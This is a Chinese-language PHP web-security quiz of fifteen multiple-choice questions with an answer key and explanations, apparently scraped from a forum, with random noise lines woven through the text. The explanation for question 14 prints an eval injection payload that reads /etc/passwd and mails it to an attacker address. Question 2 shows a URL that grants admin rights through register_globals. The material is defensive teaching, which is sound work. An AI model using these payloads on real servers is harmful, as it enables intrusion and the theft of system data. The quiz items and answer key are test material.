PHP太强大、太容易了,因此开发者常常忘记Web安全相关的问题。
4 K# R' r5 t) W5 @8 R8 Z
抛开重要性不看,安全问题往往是网站中最容易被人忽视的一个部分。不幸的是,有很多种方法可以从内部或外部危害系统的安全,你必须不断的找出并修补这些潜在的危险因素。
& ?5 ^1 e/ f( R; l( {在进行安全检测时,有很多需要强调的问题——不止是与安全直接相关的,还包括许多其他的内容。
. i) r7 _8 }$ s
要编写安全的程序,首先必须掌握一些基础技术,这样你才能应付本章的题目。
0 Z- H' t8 L0 E( \. x6 d
. \5 O: r& B) I4 {9 Z$ _+ _2 b
) S. C6 i3 o, V+ H9 ~/ Q7 @1 l n
问题
% c; e6 W5 [8 M" R* s: z% u$ k
# {: n/ ?3 [# I4 ^
1.以下哪种方法能防止你的PHP程序遭受外部入侵?
0 S5 l/ p7 Y( z0 y
! P" _- F8 `% m* |3 mA.使用复杂的加密算法
, V. W4 q; ~# l) A t
B.保护数据库密码
7 q! ^( `2 U4 @: B& r% o: V5 [C.如果有可能的话,使用SSL
9 U- b" h1 G/ Q( Y2 n; ]4 {
D.验证输入
2 M, h5 j2 w2 h, i9 D
E.只使用来源可信的输入
2 r1 }+ T9 y. \# k: m# S; Q4 u( A4 Q
3 i" s) P' N1 T/ k/ a
6 q7 ^3 n& S# H2.假设$action和$data变量用来接受用户输入,并且register_globals是打开的。以下代码是否安全?
复制内容到剪贴板
代码:
<?php
if(isUserAdmin()) { $isAdmin = true; }
$data = validate_and_return_input($data);
switch($action)
{
case 'add':
addSomething($data);
break;
case 'delete':
if($isAdmin) {
deleteSomething($data);
}
break;
case 'edit':
if($isAdmin) {
editSomething($data);
}
break;
default:
print "Bad Action.";
}
?>A.安全。在执行受保护的操作前先检查$isAdmin是否为true
; f, q) k: N! p5 w+ V! A
B.不安全。没有确认$action是不是合法输入
9 \/ X) W9 X4 L4 {1 @* H
C.不安全。$isAdmin可以通过register_globals被篡改
: j6 U; ~% M" n- g
D.安全。因为它验证了用户数据$data
4 |, w4 j, I% y7 u6 D( D- dE.A和B
$ n. G/ B1 L- R) O$ I+ {: ~
+ r/ J% g, ?& Z
" |; x6 W6 [( t3.要防止跨站攻击,以下哪些是需要做的?(三选)
3 O* Z- N/ H+ R$ \8 N2 e
) o0 t, R, X) z8 DA.永远不要使用include和require引入靠用户输入决定路径的文件(比如:include”$username/script.txt”;)
. [6 `5 b4 o5 X ^- U' \6 e% mB.除非网站需要,否则关闭allow_url_fopen
, U/ {9 b( u( A8 z
C.避免使用如curl这类用来打开远程连接的扩展库
- Z: x3 d: I# a' r. P( lD.使用类似strip_tags()一类的函数过滤一个用户输入给另一个用户看的内容
" ?, Z; E* |8 y+ @6 f3 a- `. c+ O
E.以上都对
4 x$ Z( d/ O# _0 D& w+ F, h* ^9 o4 S) ?5 b4 }+ L8 h3 V
4 v) b9 n! S* D9 w# r# y+ F
4.如果register_globals必须要被打开,如何才能防止恶意用户危害系统安全?(双选)
% E. d3 t( ?; l5 ]$ A
( o9 P5 m7 R& V e, Z' A4 @5 K
A.过滤所有来自非信任源的数据
6 ]( W& k" a4 @# X$ R
B.过滤所有外部数据
% B1 q7 ], C. v7 {& p3 i: yC.所有变量在使用前先初始化
# F. U7 M" Q' ?$ E
D.使用难猜变量名来防止用户篡改数据
' `( R \/ @ o1 L- n n, dE.以上都对
5 ?# s) C; t* o( G
7 M# E. E- [4 {8 W
, w0 o! Q0 ?3 h, w ?0 _4 w! n
5.SQL查询常常基于用户输入的数据来构建。以下哪种方法能避免安全隐患?
4 }( F* ~$ ^# o
+ ~8 c4 c: f/ g8 x5 q
A.在数据服务器和web服务器之间放置防火墙
+ P O# Z! `: u+ q$ d3 X! E0 JB.转义用户数据,使其中无法包含DBMS能执行的SQL命令
, j8 ~+ A _2 A& E0 _' xC.使用存储例程
e/ ?+ g0 Z |9 z2 S( a% u$ R
D.使用面向对象编程,把每个查询定义为单独的类
4 e2 Q5 o* z0 v$ L. {2 `& j3 |# V4 h7 Y! ]; q: i) L) t
/ e7 j% @& T. `9 {8 R, Y. i) K! O6.某些时候需要在PHP脚本中使用第三方功能,来实现一些PHP不能完成的任务(比如调用压缩软件压缩某种PHP不支持其格式的文件)。在PHP脚本中执行系统命令时,以下哪些选项能确保没有命令注入?(双选)
: E. H* o9 W. s3 Z& y" o# b6 O
V7 A( O+ P- u1 n/ ZA.总是给要在exec()中执行的命令加`
$ G+ V. L: Y7 s( E
B.总是使用shell_exec函数,它能够在执行前对命令进行安全检查
2 P8 V; i/ \; z& o9 |9 \
C.使用escapeshellcmd函数转义命令中的特殊字符
) k5 N: z0 j6 |; t
D.在执行命令前,先用ini_set()打开safe_mode,
4 p7 n3 d) l! Z' o- z- bE.用escapeshellarg函数在执行前转义命令参数
: T1 [ f; T& b8 \4 Q8 _7 ^
! e7 Y; d& t! A1 j+ z- X" \0 l. a H1 Q: Q
7.处理HTTP文件上传时,PHP把文件储存在$_FILES中。在PHP脚本的执行周期中,这些文件将放在本地的临时文件夹里,而在脚本结束后,文件将被自动删除。在处理HTTP文件上传时,如果确保当前操作的文件是正确的文件?(双选)
) o$ l/ ` w8 o' t7 H- L7 J; A& j1 O( F' I) V5 L- {5 Y5 w! m
A.操作前,将文件名与浏览器报告的文件名对比
( u0 `# m) V# t$ C
B.操作前,用file_exists函数确保文件存在
* @$ x2 v3 t' \( G& RC.用is_uploaded_file函数确认你的文件的确是通过HTTP方式传输过来的
) q) X$ ^0 t F w4 P) O% _D.用move_upload_file()将文件移动到安全位置
8 }4 {* |7 _3 U) I7 a" WE.只信任PHP存储临时文件的目录下的文件
* J& U, b2 F4 h# s
4 L% X+ w6 I @7 ~4 u
5 D/ @8 ~5 L) R$ i D+ Z+ C
8.在PHP的“安全模式”下,以下哪些设置有助于降低安全风险?(三选)
6 I( R- r; K f; ~$ G' D: ^$ E) m
/ @) c$ o. t5 N! G* u* `
A.限制shell命令的执行
6 [3 }: h3 b! {( H- x8 q T f& J' O) AB.限制对系统环境变量的访问
6 p' [2 i- W: t* N( C1 qC.限制PHP的文件包含目录
& E9 ~9 r" W3 A; o" N; F0 \! h
D.限制允许对数据库进行的操作
/ g. U; h* M& y
E.以上全部
5 n' E" k5 Y5 z
# n1 w% S& H9 N/ j
0 }% N" @; c( V% N- `9.要限制脚本只能访问一个指定的文件夹中的文件,以下那种方法最简单?
4 `' q* D! J5 P, ?9 t& V0 z+ F4 a
8 T4 F( C8 ^; a7 m
A.打开safe_mode
) O* [6 B* [8 S
B.用open_basedir指定允许的文件夹
2 H. R% g% c3 t' i
C.用自定义函数指定PHP可以访问的目录
' q* j, y4 r5 ]4 H% F
D.设置文件系统权限,让PHP只能访问允许的目录
+ D+ |% I+ V* p7 BE.以上都不对,无法限制PHP的访问目录
; b$ K+ [/ R( r- j- b7 A* u
$ }2 ^0 w( ]9 V' P4 J4 ~4 {
0 Y0 t" v- a) ?# c* K5 j' u9 e) ^' ~( p10.上传文件时,能否确保客户端浏览器不会上传大于指定容量的文件?
! ~; n; u. J! T, z4 T9 M3 c
2 S) [& Q9 S8 @6 W( ]2 \
A.能
# b1 P& w3 D3 {; G+ q* cB.不能
% N7 l* `% k$ \0 F2 T
- Q& G; n8 k: n4 u# q% }9 E! V/ ^- M& c& ?8 p# d* b+ {
11.你的PHP以CGI的形式运行在Linux+Apache系统的cgi-bin文件夹中。如果有人打开以下URL将发生什么?
4 ~8 A) p0 M8 x" A
$ ^* {/ P6 B8 Y8 m4 U/cgi-bin/php?/etc/passwd
l1 w7 ~) y. B- Q9 g
7 J# O& W1 c2 e; x- P j( xA./etc/passwd目录下的文件都会被显示出来,造成安全隐患
0 u( s# S ~/ }( J- N3 W9 NB.操作系统会检查Apache是否允许打开/etc/passwd目录
5 [# m7 M& J% J; ^2 `6 oC./etc/passwd字符串作为参数传给了脚本
/ `5 h8 G7 j- T5 [4 U4 J
D.什么都不会发生。CGI模式下的PHP将自动拒绝此次访问
@% l1 D3 n( }$ Z
E.PHP尝试把/etc/passwd作为PHP脚本进行解释
' ^- w9 q& Y6 x& Q0 H5 O9 c3 t2 C
0 I$ i* O5 v) I* L8 }* W. ]" [- b: t12.尽管并不彻底,但以下哪些方法能识别并防范代码中的安全隐患?(选择最合适的答案)
! b h$ j6 D& R# g: @' n) yA.查阅PHP手册中提到的安全隐患
: ]0 k$ Q# m. I- A7 q$ s+ u& y* e
B.任何脚本执行失败的情况都写入日志
7 u" ~/ x ~; m- ]- XC.保持更新最新的PHP版本,尤其是解决了安全问题的那些
3 A% s8 \4 \3 W8 ~
D.使用第三方PHP包时,了解并修正其中的安全问题
1 c6 X6 l5 R" }9 s. P. i& Z( jE.以上都对
" F' _- B5 n N5 N! D
: Y# Y" J2 \7 V0 H7 p& B- V4 u# ^8 H# u* {6 a) W% Y& m
13.当网站发生错误时,该如何处理?
4 v3 J0 T! ]; ]8 E; Z3 M5 g4 @
7 A& Y6 L; W1 q! ~" ^A.应该向用户显示错误信息以及导致该错误的相关技术信息,并且网站管理员要记录这个错误
1 t. z8 S" Q5 H- e% A! ^( Q$ E+ Y
B.需要记录该错误,并向用户致歉
8 u0 Q! V9 _. ?: e; G
C.应该向用户显示错误信息以及导致该错误的相关技术信息,以便用户把错误信息汇报给网站管理员
9 _& a" s* y1 OD.把用户引导回主页,让用户不知道发生了错误
; |9 u! X; x9 L% V! p W
E.以上都不对
) o, |& x) @- D6 Y$ k9 p# @% P3 Q; B8 C& Z7 _- ^
5 m+ u# S3 W5 {/ Y
14. 在什么情况下,以下脚本才是安全的?
复制内容到剪贴板
代码:
<?php
$newfunc = create_function('$a', 'return $a * {$_POST['number]};”);
$newfunc(10);
?>A.任何时候都安全。最坏的情况只不过是匿名函数newfunc()返回了一个数字
0 F2 B) K+ a% ] V! J; k6 y# TB.当register_globals打开时
1 n- O$ j, b. I$ @" m6 i9 [C.什么时候都不安全。匿名函数newfunc()允许用户更改数学式的运行,将造成安全隐患
. `9 K! G7 o7 L* I9 v4 z' h( y
D.什么时候都不安全。匿名函数newfunc()允许用户在服务器上执行任意代码,将造成安全隐患
3 Q3 ]( k0 i& o# Z6 ~
E.只在allow_url_fopen打开时安全
R8 _( j; i# }4 b: I
# m. C, m- f: _! C* P' _+ z+ d7 h
- ^# | F# E- q8 _! g5 @$ ^4 u5 x15.以下哪种PHP安装方式有很高的安全隐患,并且运行效率也最低?
7 U! T6 _5 b& r. V w
% e4 w9 |7 s0 k+ V j/ {' Q+ r
A.Apache共享模块
* B# d3 ~, Y5 k2 f! UB.Apache的编译模块
5 _& m" Y3 e0 r! l \$ LC.CGI
0 x, n1 M. d" c0 S7 X2 m2 aD.IIS下的ISAPI模块
: ]( Q9 ^/ J; r/ ?# H0 t
5 w* c$ D: T: P7 c0 j5 x. Y) H _: p
0 f5 E' `5 |( P答案速查
7 F9 B' ^( f0 |# }
1:D
2 V, H" F' _0 H4 J
2:C
& `+ R- k S( K( N' [( }
3:ABC
* W8 ?, l" F9 F! u9 I& L
4:BC
+ {1 L" M% c# [$ x9 d7 z% w5:B
5 F( `6 S5 b0 V3 b6 @0 z# @4 B6:CE
! ?% h2 R3 ?7 t7:CD
2 O, x/ R1 Z7 y& j
8:ABC
6 a0 |" ]( Q, G( j
9:B
; }; P! [% ?; A& j& |10:B
0 _" B+ g9 ?6 g7 ]* l# v" ]9 S
11:D
% C0 U6 F9 t. N# n12:E
6 s6 o5 F+ B1 [! z: v13:B
9 V. K, t: N7 ~3 L+ s1 d
14:D
7 ?) d0 k. [7 Q% S
15:C
9 d' w0 o4 o& o8 z% e& n) i
2 b1 `; v% l! _* \& B( x- [+ b! C. z; v: d: t6 d3 u& e& U* T
9 A3 G- r+ E0 L& C7 Q* {5 _" Y/ e答案详解
& n, c9 R# T* v) _
: O6 `3 M( o1 O1 o, s1.正确答案是D。虽然其他选项在一定程度上也是正确的,但破解安全问题的最简单的方法还是验证外部数据。无论是来自用户提交的表单还是本地服务器环境,任何第三方数据都应该进行验证,以确保其符合程序需要。
/ w+ p- l/ Y1 h# E! W% n
5 l+ x; f" G) i/ Z' i
2.答案是C。这段代码绝对不安全!事实上,当register_globals打开时,这个安全问题十分常见。问题出在$isAdmin变量上:尽管它是一个布尔值,只有当用户是管理员时才会被赋值,而其他情况下不会赋值。但由于register_globals是打开的,恶意用户只要通过URL传递一个GET变量就可以获得管理员权限:
+ r2 u+ U. T' }- l$ N9 \http://www.example.com/action.ph ... a=foo&isAdmin=1! B0 k+ t% D# O% d) a3 A+ p1 N& q
5 C0 ~ @' m" R0 ^: W
3.正确答案是A,B和C。A和B说的都是相似的PHP安全问题,恶意用户可以通过篡改URL来修改$username变量。如果用户这么做了,并且allow_url_fopen是打开的,PHP将下载某台非信任的远程服务器上的script.txt文件,并当作本地PHP脚本执行。另一个常见但不那么严重的隐患是,把一个用户的输入传递给另一个用户。比如在论坛或电子邮件中,不过滤HTML标签。这将允许恶意用户使用JavaScript脚本攻击查看这段内容的用户,造成跨站攻击或者浏览器bug——可怜的用户因为你的过错而受害。
- `, S' N9 x% x. o* [/ U! q. Y
. g; _4 t2 _5 D* m# k, M {4.正确答案是B和C。过滤非信任来源的数据听起来是个好主意,但实际上任何外部数据都有可能造成安全问题,并危及你的脚本。当register_globals打开时,显然要保证所有变量在使用前都进行过初始化,以防止恶意用户进行注入。
' |( z6 [* h2 x1 I; U' Z& n5 G. m; Q
7 s# @, J/ r+ Z5.处理数据库查询中的用户数据时,你应该转义SQL中所有应该转义的数据。这是一个普遍的数据库问题——所有基于SQL的数据库都容易收到SQL注入攻击,需要用PHP提供的转义函数来防范。
_- V, S# e& p i1 J8 \8 [% O
5 p( T n8 y7 ]7 x5 o/ L" W6.答案是C和E。在PHP里执行有变量参与的系统命令时,没有任何一个函数是“绝对安全”的。你应该用escapeshellcmd和escapeshellarg函数转义传递给shell的命令和参量。
: ?1 X, x$ N. p1 O1 n8 e6 y4 p8 D5 U; }+ F& N2 S0 \" T
7.正确答案是C和D。即使脚本执行完后不需要保存该文件,你也应该在访问此文件之前,先用is_uploaded_file函数确保文件名正确。同样,如果需要把文件从临时文件夹移出以长期保存该文件时,你应该使用move_upload_file函数,它会在移动前对该文件进行检查。
3 W2 O. K0 u( U. w* `* F/ }
+ }& y8 G4 L2 }4 D# Z% M8.正确答案是A,B和C。安全模式提供了许多附加的安全验证,有助于降低安全隐患——尤其是在多个用户访问同一个PHP的共享主机上。尽管安全模式能限制一些东西,但在执行系统命令、访问环境变量和判断文件是否能被引入(比如对每个文件进行额外的UID/GID检查)时,它无法进行安全检查。
, X! F: `8 ^1 X6 w! M" B
9 J4 S$ p9 N& A, {9 z9.正确答案是B。open_basedir设置能让你指定允许PHP读取的目录。这项设置是独立于safe_mode之外的,并且可以指定多个目录。注意,选项D也是一种可行的限制访问的方式,但它不够简单——还很难维护。
( D' U5 y; J4 @$ Z& h( X: K' B9 ?
+ R( e& y7 h2 z( p* N) }- g, P
10.正确答案是B。尽管可以通过在HTML中添加一个MAX_FILE_SIZE隐藏域的方式来指定上传文件的容量限制,但难保客户端就一定会遵守此约定(译者注:事实上,没有任何一个浏览器遵守了此约定)。
3 Y$ h/ j3 X* E' T) o
2 `1 L* o# C4 Y11.以CGI模式运行时,PHP将自动采取一些措施来减少常见的安全隐患。措施之一就应用在把任意某个文件作为命令行参量传递给解释器执行的时候。如果不是这样,PHP将尝试读取/etc/passwd——一个“全球可读(world-readable)”的文件,同时解释器把它视作PHP脚本来执行,最终导致所有的用户帐号被输出到客户端上。不过,由于PHP内建的安全机制,实际上什么都不会发生。答案是D。
% |% H% z: [$ _) F
$ O6 Z! ~# G& C: N3 \12.正确答案是E。所有选项都能被开发者用来降低网站的危险系数。要想有效得保证网站安全,你首先应该找出潜在的危险。意味着你必须关注安全公告,记录可疑操作(可能是恶意用户企图攻击你的系统)。
$ c/ B: C7 L) }+ S
2 G% {6 `7 B- J0 E8 J13.正确答案是B。网站不应该向用户展示任何无意义的信息(比如一个失败的SQL查询)。尽管这些信息对大部分用户来说毫无意义,但对开发者(包括黑客)来说这些却是非常有价值的资源。他们可以由此找到一条有效的策略来攻击你的系统。比如说,一个恶意用户由此知道了你的SQL查询的结构,那他就非常容易通过表单进行注入,造成安全隐患。当错误发生时,应该只给用户发送一条致歉信息,而错误细节应该被记录在日志中,以便网站管理员查阅。
/ K: R# Q! f# @. B5 b! B$ x) Z: W
( I$ k& N( h" W) [, Q14.正确答案是D。尽管很隐蔽,但该脚本确实能让用户在服务器上执行任何代码。作为数学式的一部分,考虑一下当$_POST[‘number’]是如下字符串时的情况:
- B; U+ _; }( w0 i6 Y% ` (eval(“exec('cat /etc/passwd | mail
baduser@89w.org');”)) ? 0 : 1
3 F/ ~; l% A0 ?! N% \
匿名函数将变成:
, p3 P( s7 ?* m s* T. H! X
return $a * (eval(“exec('cat /etc/passwd | mail
baduser@89w.org);”)) ? 0 : 1;
6 g7 _/ c3 {& Z; } v 这将使得用户可以通过eval()语句执行任何代码,而且返回的仍然是一个“合法”值。create_function()或eval()能执行动态代码,所以必须仔细检查动态部分,避免注入。
' E( c; c9 Y) J( @
; Z$ ~. [0 R% S$ F0 _15.任何安装不恰当的PHP版本都会有安全问题,但在选项中,CGI最严重。默认状态下它有许多安全隐患,并且执行效率低下,在上线前需要进行严格的检查。答案是C。